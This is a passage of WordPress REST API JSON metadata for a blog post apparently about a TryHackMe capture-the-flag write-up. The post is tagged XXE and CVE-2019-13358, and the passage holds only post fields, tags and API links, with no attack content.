class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":45,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[4],"tags":[21,73,9,45,71,22,60,63,72],"class_list":["post-2176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-infosec","tag-ctf","tag-cve-2019-13358","tag-linux","tag-pentest","tag-ruby","tag-tryhackme","tag-web","tag-writeup","tag-xxe"],"aioseo_notices":[],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/2176","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/comments?post=2176"}],"version-history":[{"count":0,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/2176\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media\/45"}],"wp:attachment":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media?parent=2176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/categories?post=2176"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/tags?post=2176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}